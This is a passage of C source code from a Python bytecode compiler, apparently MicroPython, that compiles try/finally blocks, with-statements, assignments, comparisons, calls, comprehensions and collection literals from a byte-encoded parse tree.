compile_store_id(comp, qstr_exception_local);\n            compile_delete_id(comp, qstr_exception_local);\n\n            compile_decrease_except_level(comp);\n            EMIT(end_finally);\n        }\n        EMIT_ARG(jump, l2);\n        EMIT_ARG(label_assign, end_finally_label);\n        EMIT_ARG(adjust_stack_size, 1); // stack adjust for the exception instance\n    }\n\n    compile_decrease_except_level(comp);\n    EMIT(end_finally);\n    EMIT(end_except_handler);\n\n    EMIT_ARG(label_assign, success_label);\n    if (p_else != NULL) {\n        compile_node(comp, p_else); // else block\n    }\n    EMIT_ARG(label_assign, l2);\n}\n\nSTATIC void compile_try_finally(compiler_t *comp, const byte *p_body, const byte *p_except, const byte *p_except_top, const byte *p_else, const byte *p_finally) {\n    assert(pt_is_rule(p_finally, PN_try_stmt_finally));\n\n    uint l_finally_block = comp_next_label(comp);\n\n    EMIT_ARG(setup_finally, l_finally_block);\n    compile_increase_except_level(comp);\n\n    if (p_except == NULL) {\n        assert(p_else == NULL);\n        EMIT_ARG(adjust_stack_size, 3); // stack adjust for possible UNWIND_JUMP state\n        compile_node(comp, p_body);\n        EMIT_ARG(adjust_stack_size, -3);\n    } else {\n        compile_try_except(comp, p_body, p_except, p_except_top, p_else);\n    }\n    EMIT(pop_block);\n    EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n    EMIT_ARG(label_assign, l_finally_block);\n    compile_node(comp, pt_rule_first(p_finally));\n\n    compile_decrease_except_level(comp);\n    EMIT(end_finally);\n}\n\nSTATIC void compile_try_stmt(compiler_t *comp, const byte *p, const byte *ptop) {\n    (void)ptop;\n    const byte* p1 = pt_next(p);\n    if (pt_is_rule(p1, PN_try_stmt_except) || pt_is_rule(p1, PN_try_stmt_except_list)) {\n        // just try-except\n        const byte *p1_top = mp_parse_node_extract_list(&p1, PN_try_stmt_except_list);\n        compile_try_except(comp, p, p1, p1_top, NULL);\n    } else if (pt_is_rule(p1, PN_try_stmt_except_and_more)) {\n        // try-except and possibly else and/or finally\n        const byte *p1_top;\n        const byte *p1_p0 = pt_rule_extract_top(p1, &p1_top);\n        const byte *p1_p1 = mp_parse_node_extract_list(&p1_p0, PN_try_stmt_except_list);\n        if (pt_next(p1_p1) == p1_top) {\n            // no finally, but have else\n            compile_try_except(comp, p, p1_p0, p1_p1, p1_p1);\n        } else {\n            // have finally, may or may not have else\n            compile_try_finally(comp, p, p1_p0, p1_p1, p1_p1, pt_next(p1_p1));\n        }\n    } else {\n        // just try-finally\n        compile_try_finally(comp, p, NULL, NULL, NULL, p1);\n    }\n}\n\nSTATIC void compile_with_stmt_helper(compiler_t *comp, const byte *n_pre, const byte *p_body) {\n    if (n_pre >= p_body) {\n        // no more pre-bits, compile the body of the with\n        compile_node(comp, p_body);\n    } else {\n        uint l_end = comp_next_label(comp);\n        if (MICROPY_EMIT_NATIVE && comp->scope_cur->emit_options != MP_EMIT_OPT_BYTECODE) {\n            // we need to allocate an extra label for the native emitter\n            // it will use l_end+1 as an auxiliary label\n            comp_next_label(comp);\n        }\n        if (pt_is_rule(n_pre, PN_with_item)) {\n            // this pre-bit is of the form \"a as b\"\n            const byte *p = pt_rule_first(n_pre);\n            p = compile_node(comp, p);\n            EMIT_ARG(setup_with, l_end);\n            c_assign(comp, p, ASSIGN_STORE);\n            n_pre = pt_next(n_pre);\n        } else {\n            // this pre-bit is just an expression\n            n_pre = compile_node(comp, n_pre);\n            EMIT_ARG(setup_with, l_end);\n            EMIT(pop_top);\n        }\n        compile_increase_except_level(comp);\n        // compile additional pre-bits and the body\n        compile_with_stmt_helper(comp, n_pre, p_body);\n        // finish this with block\n        EMIT_ARG(with_cleanup, l_end);\n        compile_decrease_except_level(comp);\n        EMIT(end_finally);\n    }\n}\n\nSTATIC void compile_with_stmt(compiler_t *comp, const byte *p, const byte *ptop) {\n    // get the nodes for the pre-bit of the with (the a as b, c as d, ... bit)\n    ptop = mp_parse_node_extract_list(&p, PN_with_stmt_list);\n\n    // compile in a nested fashion\n    compile_with_stmt_helper(comp, p, ptop);\n}\n\nSTATIC void compile_expr_stmt(compiler_t *comp, const byte *p, const byte *ptop) {\n    const byte *p_n1 = pt_next(p);\n\n    if (pt_is_null_with_top(p_n1, ptop)) {\n        if (comp->is_repl && comp->scope_cur->kind == SCOPE_MODULE) {\n            // for REPL, evaluate then print the expression\n            compile_load_id(comp, MP_QSTR___repl_print__);\n            compile_node(comp, p);\n            EMIT_ARG(call_function, 1, 0, 0);\n            EMIT(pop_top);\n\n        } else {\n            #if 0\n            // for non-REPL, evaluate then discard the expression\n            if ((MP_PARSE_NODE_IS_LEAF(pns->nodes[0]) && !MP_PARSE_NODE_IS_ID(pns->nodes[0]))\n                || MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_string)\n                || MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_bytes)\n                || MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_const_object)) {\n                // do nothing with a lonely constant\n            } else\n            #endif\n            {\n                compile_node(comp, p); // just an expression\n                EMIT(pop_top); // discard last result since this is a statement and leaves nothing on the stack\n            }\n        }\n    } else if (pt_is_rule(p_n1, PN_expr_stmt_augassign)) {\n        c_assign(comp, p, ASSIGN_AUG_LOAD); // lhs load for aug assign\n        p_n1 = pt_rule_first(p_n1);\n        assert(pt_is_any_tok(p_n1));\n        byte tok;\n        p_n1 = pt_tok_extract(p_n1, &tok);\n        mp_binary_op_t op;\n        switch (tok) {\n            case MP_TOKEN_DEL_PIPE_EQUAL: op = MP_BINARY_OP_INPLACE_OR; break;\n            case MP_TOKEN_DEL_CARET_EQUAL: op = MP_BINARY_OP_INPLACE_XOR; break;\n            case MP_TOKEN_DEL_AMPERSAND_EQUAL: op = MP_BINARY_OP_INPLACE_AND; break;\n            case MP_TOKEN_DEL_DBL_LESS_EQUAL: op = MP_BINARY_OP_INPLACE_LSHIFT; break;\n            case MP_TOKEN_DEL_DBL_MORE_EQUAL: op = MP_BINARY_OP_INPLACE_RSHIFT; break;\n            case MP_TOKEN_DEL_PLUS_EQUAL: op = MP_BINARY_OP_INPLACE_ADD; break;\n            case MP_TOKEN_DEL_MINUS_EQUAL: op = MP_BINARY_OP_INPLACE_SUBTRACT; break;\n            case MP_TOKEN_DEL_STAR_EQUAL: op = MP_BINARY_OP_INPLACE_MULTIPLY; break;\n            case MP_TOKEN_DEL_DBL_SLASH_EQUAL: op = MP_BINARY_OP_INPLACE_FLOOR_DIVIDE; break;\n            case MP_TOKEN_DEL_SLASH_EQUAL: op = MP_BINARY_OP_INPLACE_TRUE_DIVIDE; break;\n            case MP_TOKEN_DEL_PERCENT_EQUAL: op = MP_BINARY_OP_INPLACE_MODULO; break;\n            case MP_TOKEN_DEL_DBL_STAR_EQUAL: default: op = MP_BINARY_OP_INPLACE_POWER; break;\n        }\n        compile_node(comp, p_n1); // rhs\n        EMIT_ARG(binary_op, op);\n        c_assign(comp, p, ASSIGN_AUG_STORE); // lhs store for aug assign\n    } else if (pt_is_rule(p_n1, PN_expr_stmt_assign_list)) {\n        const byte *p_n1_top;\n        p_n1 = pt_rule_extract_top(p_n1, &p_n1_top);\n        const byte *p_rhs = NULL;\n        for (const byte *pp = p_n1; pp != p_n1_top; pp = pt_next(pp)) {\n            p_rhs = pp;\n        }\n        compile_node(comp, p_rhs); // rhs\n        // following CPython, we store left-most first\n        //if (num rhs > 1) { always true?\n            EMIT(dup_top);\n        //}\n        c_assign(comp, p, ASSIGN_STORE); // lhs store\n        for (const byte *pp = p_n1; pp != p_rhs;) {\n            const byte *pp_next = pt_next(pp);\n            if (pp_next != p_rhs) {\n                EMIT(dup_top);\n            }\n            c_assign(comp, pp, ASSIGN_STORE); // middle store\n            pp = pp_next;\n        }\n    } else {\n        // single assignment\n        #if 0\n        if (MICROPY_COMP_DOUBLE_TUPLE_ASSIGN\n            && MP_PARSE_NODE_IS_STRUCT_KIND(pns1->nodes[0], PN_testlist_star_expr)\n            && MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_testlist_star_expr)\n            && MP_PARSE_NODE_STRUCT_NUM_NODES((mp_parse_node_struct_t*)pns1->nodes[0]) == 2\n            && MP_PARSE_NODE_STRUCT_NUM_NODES((mp_parse_node_struct_t*)pns->nodes[0]) == 2) {\n            // optimisation for a, b = c, d\n            mp_parse_node_struct_t *pns10 = (mp_parse_node_struct_t*)pns1->nodes[0];\n            mp_parse_node_struct_t *pns0 = (mp_parse_node_struct_t*)pns->nodes[0];\n            if (MP_PARSE_NODE_IS_STRUCT_KIND(pns0->nodes[0], PN_star_expr)\n                || MP_PARSE_NODE_IS_STRUCT_KIND(pns0->nodes[1], PN_star_expr)) {\n                // can't optimise when it's a star expression on the lhs\n                goto no_optimisation;\n            }\n            compile_node(comp, pns10->nodes[0]); // rhs\n            compile_node(comp, pns10->nodes[1]); // rhs\n            EMIT(rot_two);\n            c_assign(comp, pns0->nodes[0], ASSIGN_STORE); // lhs store\n            c_assign(comp, pns0->nodes[1], ASSIGN_STORE); // lhs store\n        } else if (MICROPY_COMP_TRIPLE_TUPLE_ASSIGN\n            && MP_PARSE_NODE_IS_STRUCT_KIND(pns1->nodes[0], PN_testlist_star_expr)\n            && MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_testlist_star_expr)\n            && MP_PARSE_NODE_STRUCT_NUM_NODES((mp_parse_node_struct_t*)pns1->nodes[0]) == 3\n            && MP_PARSE_NODE_STRUCT_NUM_NODES((mp_parse_node_struct_t*)pns->nodes[0]) == 3) {\n            // optimisation for a, b, c = d, e, f\n            mp_parse_node_struct_t *pns10 = (mp_parse_node_struct_t*)pns1->nodes[0];\n            mp_parse_node_struct_t *pns0 = (mp_parse_node_struct_t*)pns->nodes[0];\n            if (MP_PARSE_NODE_IS_STRUCT_KIND(pns0->nodes[0], PN_star_expr)\n                || MP_PARSE_NODE_IS_STRUCT_KIND(pns0->nodes[1], PN_star_expr)\n                || MP_PARSE_NODE_IS_STRUCT_KIND(pns0->nodes[2], PN_star_expr)) {\n                // can't optimise when it's a star expression on the lhs\n                goto no_optimisation;\n            }\n            compile_node(comp, pns10->nodes[0]); // rhs\n            compile_node(comp, pns10->nodes[1]); // rhs\n            compile_node(comp, pns10->nodes[2]); // rhs\n            EMIT(rot_three);\n            EMIT(rot_two);\n            c_assign(comp, pns0->nodes[0], ASSIGN_STORE); // lhs store\n            c_assign(comp, pns0->nodes[1], ASSIGN_STORE); // lhs store\n            c_assign(comp, pns0->nodes[2], ASSIGN_STORE); // lhs store\n        } else\n        #endif\n        {\n            //no_optimisation:\n            compile_node(comp, p_n1); // rhs\n            c_assign(comp, p, ASSIGN_STORE); // lhs store\n        }\n    }\n}\n\nSTATIC void compile_test_if_expr(compiler_t *comp, const byte *p, const byte *ptop) {\n    (void)ptop;\n    const byte *p_test_if_else = pt_next(p);\n    assert(p_test_if_else != ptop && pt_is_rule(p_test_if_else, PN_test_if_else));\n    p_test_if_else = pt_rule_first(p_test_if_else);\n\n    uint l_fail = comp_next_label(comp);\n    uint l_end = comp_next_label(comp);\n    p_test_if_else = c_if_cond(comp, p_test_if_else, false, l_fail); // condition\n    compile_node(comp, p); // success value\n    EMIT_ARG(jump, l_end);\n    EMIT_ARG(label_assign, l_fail);\n    EMIT_ARG(adjust_stack_size, -1); // adjust stack size\n    compile_node(comp, p_test_if_else); // failure value\n    EMIT_ARG(label_assign, l_end);\n}\n\nSTATIC void compile_lambdef(compiler_t *comp, const byte *p, const byte *ptop) {\n    (void)ptop;\n    mp_int_t scope_idx;\n    p = pt_get_small_int(p, &scope_idx);\n\n    if (comp->pass == MP_PASS_SCOPE) {\n        // create a new scope for this lambda\n        scope_new_and_link(comp, scope_idx, SCOPE_LAMBDA, p, comp->scope_cur->emit_options);\n    }\n\n    // get the scope for this lambda\n    scope_t *this_scope = comp->scopes[scope_idx];\n\n    // compile the lambda definition\n    compile_funcdef_lambdef(comp, this_scope, p, PN_varargslist);\n}\n\nSTATIC void compile_or_and_test(compiler_t *comp, const byte *p, const byte *ptop, bool cond) {\n    uint l_end = comp_next_label(comp);\n    while (p != ptop) {\n        p = compile_node(comp, p);\n        if (p != ptop) {\n            EMIT_ARG(jump_if_or_pop, cond, l_end);\n        }\n    }\n    EMIT_ARG(label_assign, l_end);\n}\n\nSTATIC void compile_or_test(compiler_t *comp, const byte *p, const byte *ptop) {\n    compile_or_and_test(comp, p, ptop, true);\n}\n\nSTATIC void compile_and_test(compiler_t *comp, const byte *p, const byte *ptop) {\n    compile_or_and_test(comp, p, ptop, false);\n}\n\nSTATIC void compile_not_test_2(compiler_t *comp, const byte *p, const byte *ptop) {\n    (void)ptop;\n    compile_node(comp, p);\n    EMIT_ARG(unary_op, MP_UNARY_OP_NOT);\n}\n\nSTATIC void compile_comparison(compiler_t *comp, const byte *p, const byte *ptop) {\n    int num_nodes = pt_num_nodes(p, ptop);\n    p = compile_node(comp, p);\n    bool multi = (num_nodes > 3);\n    uint l_fail = 0;\n    if (multi) {\n        l_fail = comp_next_label(comp);\n    }\n    for (int i = 1; i + 1 < num_nodes; i += 2) {\n        mp_binary_op_t op;\n        if (pt_is_any_tok(p)) {\n            byte tok;\n            p = pt_tok_extract(p, &tok);\n            switch (tok) {\n                case MP_TOKEN_OP_LESS: op = MP_BINARY_OP_LESS; break;\n                case MP_TOKEN_OP_MORE: op = MP_BINARY_OP_MORE; break;\n                case MP_TOKEN_OP_DBL_EQUAL: op = MP_BINARY_OP_EQUAL; break;\n                case MP_TOKEN_OP_LESS_EQUAL: op = MP_BINARY_OP_LESS_EQUAL; break;\n                case MP_TOKEN_OP_MORE_EQUAL: op = MP_BINARY_OP_MORE_EQUAL; break;\n                case MP_TOKEN_OP_NOT_EQUAL: op = MP_BINARY_OP_NOT_EQUAL; break;\n                case MP_TOKEN_KW_IN: default: op = MP_BINARY_OP_IN; break;\n            }\n        } else {\n            if (pt_is_rule(p, PN_comp_op_not_in)) {\n                op = MP_BINARY_OP_NOT_IN;\n            } else {\n                assert(pt_is_rule(p, PN_comp_op_is)); // should be\n                if (pt_is_rule_empty(p)) {\n                    op = MP_BINARY_OP_IS;\n                } else {\n                    op = MP_BINARY_OP_IS_NOT;\n                }\n            }\n            p = pt_next(p);\n        }\n\n        p = compile_node(comp, p);\n\n        if (i + 2 < num_nodes) {\n            EMIT(dup_top);\n            EMIT(rot_three);\n        }\n\n        EMIT_ARG(binary_op, op);\n\n        if (i + 2 < num_nodes) {\n            EMIT_ARG(jump_if_or_pop, false, l_fail);\n        }\n    }\n    if (multi) {\n        uint l_end = comp_next_label(comp);\n        EMIT_ARG(jump, l_end);\n        EMIT_ARG(label_assign, l_fail);\n        EMIT_ARG(adjust_stack_size, 1);\n        EMIT(rot_two);\n        EMIT(pop_top);\n        EMIT_ARG(label_assign, l_end);\n    }\n}\n\nSTATIC void compile_star_expr(compiler_t *comp, const byte *p, const byte *ptop) {\n    (void)ptop;\n    compile_syntax_error(comp, p, \"*x must be assignment target\");\n}\n\nSTATIC void c_binary_op(compiler_t *comp, const byte *p, const byte *ptop, mp_binary_op_t binary_op) {\n    p = compile_node(comp, p);\n    while (p != ptop) {\n        p = compile_node(comp, p);\n        EMIT_ARG(binary_op, binary_op);\n    }\n}\n\nSTATIC void compile_expr(compiler_t *comp, const byte *p, const byte *ptop) {\n    c_binary_op(comp, p, ptop, MP_BINARY_OP_OR);\n}\n\nSTATIC void compile_xor_expr(compiler_t *comp, const byte *p, const byte *ptop) {\n    c_binary_op(comp, p, ptop, MP_BINARY_OP_XOR);\n}\n\nSTATIC void compile_and_expr(compiler_t *comp, const byte *p, const byte *ptop) {\n    c_binary_op(comp, p, ptop, MP_BINARY_OP_AND);\n}\n\nSTATIC void compile_term(compiler_t *comp, const byte *p, const byte *ptop) {\n    p = compile_node(comp, p);\n    while (p != ptop) {\n        byte tok;\n        p = pt_tok_extract(p, &tok);\n        p = compile_node(comp, p);\n        mp_binary_op_t op;\n        switch (tok) {\n            case MP_TOKEN_OP_PLUS:      op = MP_BINARY_OP_ADD; break;\n            case MP_TOKEN_OP_MINUS:     op = MP_BINARY_OP_SUBTRACT; break;\n            case MP_TOKEN_OP_STAR:      op = MP_BINARY_OP_MULTIPLY; break;\n            case MP_TOKEN_OP_DBL_SLASH: op = MP_BINARY_OP_FLOOR_DIVIDE; break;\n            case MP_TOKEN_OP_SLASH:     op = MP_BINARY_OP_TRUE_DIVIDE; break;\n            case MP_TOKEN_OP_PERCENT:   op = MP_BINARY_OP_MODULO; break;\n            case MP_TOKEN_OP_DBL_LESS:  op = MP_BINARY_OP_LSHIFT; break;\n            default:\n                assert(tok == MP_TOKEN_OP_DBL_MORE);\n                op = MP_BINARY_OP_RSHIFT;\n                break;\n        }\n        EMIT_ARG(binary_op, op);\n    }\n}\n\nSTATIC void compile_factor_2(compiler_t *comp, const byte *p, const byte *ptop) {\n    (void)ptop;\n    byte tok;\n    p = pt_tok_extract(p, &tok);\n    compile_node(comp, p);\n    if (tok == MP_TOKEN_OP_PLUS) {\n        EMIT_ARG(unary_op, MP_UNARY_OP_POSITIVE);\n    } else if (tok == MP_TOKEN_OP_MINUS) {\n        EMIT_ARG(unary_op, MP_UNARY_OP_NEGATIVE);\n    } else {\n        assert(tok == MP_TOKEN_OP_TILDE); // should be\n        EMIT_ARG(unary_op, MP_UNARY_OP_INVERT);\n    }\n}\n\nSTATIC void compile_atom_expr_normal(compiler_t *comp, const byte *p, const byte *ptop) {\n    const byte *p_start = p;\n\n    // compile the subject of the expression\n    p = compile_node(comp, p);\n\n    // get the array of trailers, it may be a single item or a list\n    if (pt_is_rule(p, PN_atom_expr_trailers)) {\n        p = pt_rule_extract_top(p, &ptop);\n    }\n\n    // handle special super() call\n    if (comp->scope_cur->kind == SCOPE_FUNCTION\n        && pt_is_id(p_start, MP_QSTR_super)\n        && pt_is_rule(p, PN_trailer_paren)\n        && pt_is_rule_empty(p)) {\n        // at this point we have matched \"super()\" within a function\n\n        // load the class for super to search for a parent\n        compile_load_id(comp, MP_QSTR___class__);\n\n        // look for first argument to function (assumes it's \"self\")\n        bool found = false;\n        id_info_t *id = &comp->scope_cur->id_info[0];\n        for (size_t n = comp->scope_cur->id_info_len; n > 0; --n, ++id) {\n            if (id->flags & ID_FLAG_IS_PARAM) {\n                // first argument found; load it\n                compile_load_id(comp, id->qst);\n                found = true;\n                break;\n            }\n        }\n        if (!found) {\n            compile_syntax_error(comp, p,\n                \"super() can't find self\"); // really a TypeError\n            return;\n        }\n\n        if (pt_num_nodes(p, ptop) >= 3\n            && pt_is_rule(pt_next(p), PN_trailer_period)\n            && pt_is_rule(pt_next(pt_next(p)), PN_trailer_paren)) {\n            // optimisation for method calls super().f(...), to eliminate heap allocation\n            const byte *p_period = pt_next(p);\n            const byte *p_paren = pt_next(p_period);\n            qstr method_name;\n            pt_extract_id(pt_rule_first(p_period), &method_name);\n            EMIT_ARG(load_method, method_name, true);\n            if (pt_is_rule_empty(p_paren)) {\n                p_paren = NULL;\n            } else {\n                p_paren = pt_rule_first(p_paren);\n            }\n            compile_trailer_paren_helper(comp, p_paren, true, 0);\n            p = pt_next(p);\n            p = pt_next(p);\n            p = pt_next(p);\n        } else {\n            // a super() call\n            EMIT_ARG(call_function, 2, 0, 0);\n            p = pt_next(p);\n        }\n    }\n\n    while (p != ptop) {\n        const byte *p_next = pt_next(p);\n        if (p_next != ptop && pt_is_rule(p, PN_trailer_period) && pt_is_rule(p_next, PN_trailer_paren)) {\n            // optimisation for method calls a.f(...), following PyPy\n            const byte *p_period = pt_rule_first(p);\n            const byte *p_paren;\n            if (pt_is_rule_empty(p_next)) {\n                p_paren = NULL;\n            } else {\n                p_paren = pt_rule_first(p_next);\n            }\n            qstr method_name;\n            pt_extract_id(p_period, &method_name);\n            EMIT_ARG(load_method, method_name, false);\n            compile_trailer_paren_helper(comp, p_paren, true, 0);\n            p = pt_next(p_next);\n        } else {\n            // node is one of: trailer_paren, trailer_bracket, trailer_period\n            p = compile_node(comp, p);\n        }\n    }\n}\n\nSTATIC void compile_power(compiler_t *comp, const byte *p, const byte *ptop) {\n    compile_generic_all_nodes(comp, p, ptop); // 2 nodes, arguments of power\n    EMIT_ARG(binary_op, MP_BINARY_OP_POWER);\n}\n\n// if p_arglist==NULL then there are no arguments\nSTATIC void compile_trailer_paren_helper(compiler_t *comp, const byte *p_arglist, bool is_method_call, int n_positional_extra) {\n    // function to call is on top of stack\n\n    // get the list of arguments\n    const byte *ptop;\n    if (p_arglist == NULL) {\n        ptop = NULL;\n    } else {\n        ptop = mp_parse_node_extract_list(&p_arglist, PN_arglist);\n    }\n\n    // compile the arguments\n    // Rather than calling compile_node on the list, we go through the list of args\n    // explicitly here so that we can count the number of arguments and give sensible\n    // error messages.\n    int n_positional = n_positional_extra;\n    uint n_keyword = 0;\n    uint star_flags = 0;\n    const byte *p_star_args = NULL, *p_dblstar_args = NULL;\n    for (const byte *p = p_arglist; p != ptop;) {\n        if (pt_is_rule(p, PN_arglist_star)) {\n            if (star_flags & MP_EMIT_STAR_FLAG_SINGLE) {\n                compile_syntax_error(comp, p, \"can't have multiple *x\");\n                return;\n            }\n            star_flags |= MP_EMIT_STAR_FLAG_SINGLE;\n            p_star_args = pt_rule_first(p);\n            p = pt_next(p);\n        } else if (pt_is_rule(p, PN_arglist_dbl_star)) {\n            if (star_flags & MP_EMIT_STAR_FLAG_DOUBLE) {\n                compile_syntax_error(comp, p, \"can't have multiple **x\");\n                return;\n            }\n            star_flags |= MP_EMIT_STAR_FLAG_DOUBLE;\n            p_dblstar_args = pt_rule_first(p);\n            p = pt_next(p);\n        } else if (pt_is_rule(p, PN_argument)) {\n            p = pt_rule_first(p); // skip rule header\n            const byte *p2 = pt_next(p); // get second node\n            if (pt_is_rule(p2, PN_comp_for)) {\n                // list comprehension argument\n                compile_comprehension(comp, p, SCOPE_GEN_EXPR);\n                n_positional++;\n                p = pt_next(pt_next(p));\n            } else {\n                // keyword argument\n                if (!pt_is_any_id(p)) {\n                    compile_syntax_error(comp, p, \"LHS of keyword arg must be an id\");\n                    return;\n                }\n                qstr kw;\n                p = pt_extract_id(p, &kw);\n                EMIT_ARG(load_const_str, kw);\n                p = compile_node(comp, p);\n                n_keyword += 1;\n            }\n        } else {\n            if (star_flags) {\n                compile_syntax_error(comp, p, \"non-keyword arg after */**\");\n                return;\n            }\n            if (n_keyword > 0) {\n                compile_syntax_error(comp, p, \"non-keyword arg after keyword arg\");\n                return;\n            }\n            p = compile_node(comp, p);\n            n_positional++;\n        }\n    }\n\n    // compile the star/double-star arguments if we had them\n    // if we had one but not the other then we load \"null\" as a place holder\n    if (star_flags != 0) {\n        if (p_star_args == NULL) {\n            EMIT(load_null);\n        } else {\n            compile_node(comp, p_star_args);\n        }\n        if (p_dblstar_args == NULL) {\n            EMIT(load_null);\n        } else {\n            compile_node(comp, p_dblstar_args);\n        }\n    }\n\n    // emit the function/method call\n    if (is_method_call) {\n        EMIT_ARG(call_method, n_positional, n_keyword, star_flags);\n    } else {\n        EMIT_ARG(call_function, n_positional, n_keyword, star_flags);\n    }\n}\n\n// p needs to point to 2 successive nodes, first is lhs of comprehension, second is PN_comp_for node\nSTATIC void compile_comprehension(compiler_t *comp, const byte *p, scope_kind_t kind) {\n    const byte *p_comp_for = pt_next(p);\n    assert(pt_is_rule(p_comp_for, PN_comp_for));\n    p_comp_for = pt_rule_first(p_comp_for);\n\n    mp_int_t scope_idx;\n    p_comp_for = pt_get_small_int(p_comp_for, &scope_idx);\n\n    if (comp->pass == MP_PASS_SCOPE) {\n        // create a new scope for this comprehension\n        scope_new_and_link(comp, scope_idx, kind, p, comp->scope_cur->emit_options);\n    }\n\n    // get the scope for this comprehension\n    scope_t *this_scope = comp->scopes[scope_idx];\n\n    // compile the comprehension\n    close_over_variables_etc(comp, this_scope, 0, 0);\n\n    compile_node(comp, pt_next(p_comp_for)); // source of the iterator\n    if (kind == SCOPE_GEN_EXPR) {\n        EMIT_ARG(get_iter, false);\n    }\n    EMIT_ARG(call_function, 1, 0, 0);\n}\n\nSTATIC void compile_atom_paren(compiler_t *comp, const byte *p, const byte *ptop) {\n    if (pt_is_null_with_top(p, ptop)) {\n        // an empty tuple\n        c_tuple(comp, NULL, NULL, NULL);\n    } else {\n        assert(pt_is_rule(p, PN_testlist_comp));\n        p = pt_rule_first(p);\n        const byte *p1 = pt_next(p);\n        if (pt_is_rule(p1, PN_testlist_comp_3b) || pt_is_rule(p1, PN_testlist_comp_3c)) {\n            // tuple of one item with trailing comma (3b); or tuple of many items (3c)\n            c_tuple(comp, p, pt_rule_first(p1), ptop);\n        } else if (pt_is_rule(p1, PN_comp_for)) {\n            // generator expression\n            compile_comprehension(comp, p, SCOPE_GEN_EXPR);\n        } else {\n            // tuple with 2 items\n            c_tuple(comp, NULL, p, ptop);\n        }\n    }\n}\n\nSTATIC void compile_atom_bracket(compiler_t *comp, const byte *p, const byte *ptop) {\n    if (pt_is_null_with_top(p, ptop)) {\n        // empty list\n        EMIT_ARG(build_list, 0);\n    } else if (pt_is_rule(p, PN_testlist_comp)) {\n        p = pt_rule_first(p);\n        const byte *p3 = pt_next(p);\n        if (pt_is_rule(p3, PN_testlist_comp_3b) || pt_is_rule(p3, PN_testlist_comp_3c)) {\n            // list of one item with trailing comma (3b); or list of many items (3c)\n            p3 = pt_rule_first(p3);\n            compile_node(comp, p);\n            compile_generic_all_nodes(comp, p3, ptop);\n            EMIT_ARG(build_list, 1 + pt_num_nodes(p3, ptop));\n        } else if (pt_is_rule(p3, PN_comp_for)) {\n            // list comprehension\n            compile_comprehension(comp, p, SCOPE_LIST_COMP);\n        } else {\n            // list with 2 items\n            p = compile_node(comp, p);\n            compile_node(comp, p);\n            EMIT_ARG(build_list, 2);\n        }\n    } else {\n        // list with 1 item\n        compile_node(comp, p);\n        EMIT_ARG(build_list, 1);\n    }\n}\n\nSTATIC void compile_atom_brace(compiler_t *comp, const byte *p, const byte *ptop) {\n    if (pt_is_null_with_top(p, ptop)) {\n        // empty dict\n        EMIT_ARG(build_map, 0);\n    } else if (pt_is_rule(p, PN_dictorsetmaker_item)) {\n        // dict with one element\n        EMIT_ARG(build_map, 1);\n        compile_node(comp, p);\n        EMIT(store_map);\n    } else if (pt_is_rule(p, PN_dictorsetmaker)) {\n        p = pt_rule_first(p);\n        const byte *p1 = pt_next(p);\n        if (pt_is_rule(p1, PN_dictorsetmaker_list)) {\n            // dict/set with multiple elements\n            const byte *p1_top;\n            p1 = pt_rule_extract_top(p1, &p1_top);\n\n            // get tail elements (2nd, 3rd, ...)\n            if (p1 != p1_top) {\n                mp_parse_node_extract_list(&p1, PN_dictorsetmaker_list2);\n            }\n\n            // first element sets whether it's a dict or set\n            bool is_dict;\n            if (!MICROPY_PY_BUILTINS_SET || pt_is_rule(p, PN_dictorsetmaker_item)) {\n                // a dictionary\n                EMIT_ARG(build_map, 1 + pt_num_nodes(p1, p1_top));\n                compile_node(comp, p);\n                EMIT(store_map);\n                is_dict = true;\n            } else {\n                // a set\n                compile_node(comp, p); // 1st value of set\n                is_dict = false;\n            }\n\n            // process rest of elements\n            for (const byte *p_elem = p1; p_elem != p1_top;) {\n                bool is_key_value = pt_is_rule(p_elem, PN_dictorsetmaker_item);\n                p_elem = compile_node(comp, p_elem);\n                if (is_dict) {\n                    if (!is_key_value) {\n                        // TODO what is the correct p for error node?\n                        compile_syntax_error(comp, p, \"expecting key:value for dictionary\");\n                        return;\n                    }\n                    EMIT(store_map);\n                } else {\n                    if (is_key_value) {\n                        // TODO what is the correct p for error node?\n                        compile_syntax_error(comp, p, \"expecting just a value for set\");\n                        return;\n                    }\n                }\n            }\n\n            #if MICROPY_PY_BUILTINS_SET\n            // if it's a set, build it\n            if (!is_dict) {\n                EMIT_ARG(build_set, 1 + pt_num_nodes(p1, p1_top));\n            }\n            #endif\n        } else {\n            assert(pt_is_rule(p1, PN_comp_for)); // should be\n            // dict/set comprehension\n            if (!MICROPY_PY_BUILTINS_SET || pt_is_rule(p, PN_dictorsetmaker_item)) {\n                // a dictionary comprehension\n                compile_comprehension(comp, p, SCOPE_DICT_COMP);\n            } else {\n                // a set comprehension\n                compile_comprehension(comp, p, SCOPE_SET_COMP);\n            }\n        }\n    } else {\n        // set with one element\n        #if MICROPY_PY_BUILTINS_SET\n        compile_node(comp, p);\n        EMIT_ARG(build_set, 1);\n        #else\n        assert(0);\n        #endif\n    }\n}\n\nSTATIC void compile_trailer_paren(compiler_t *comp, const byte *p, const byte *ptop) {\n    if (p >= ptop) {\n        p = NULL;\n    }\n    compile_trailer_paren_helper(comp, p, false, 0);\n}\n\nSTATIC void compile_trailer_bracket(compiler_t *comp, const byte *p, const byte *ptop) {\n    (void)ptop;\n    // object who's index we want is on top of stack\n    compile_node(comp, p); // the index\n    EMIT(load_subscr);\n}\n\nSTATIC void compile_trailer_period(compiler_t *comp, const byte *p, const byte *ptop) {\n    (void)ptop;\n    // object who's attribute we want is on top of stack\n    qstr attr;\n    p = pt_extract_id(p, &attr);\n    EMIT_ARG(load_attr, attr);\n}\n\n#if MICROPY_PY_BUILTINS_SLICE\n// p,ptop should be the args of subscript_3\nSTATIC void compile_subscript_3_helper(compiler_t *comp, const byte *p, const byte *ptop) {\n    if (p == ptop) {\n        // [?:]\n        EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n        EMIT_ARG(build_slice, 2);\n    } else if (pt_is_rule(p, PN_subscript_3c)) {\n        EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n        if (pt_is_rule_empty(p)) {\n            // [?::]\n            EMIT_ARG(build_slice, 2);\n        } else {\n            // [?::x]\n            compile_node(comp, pt_rule_first(p));\n            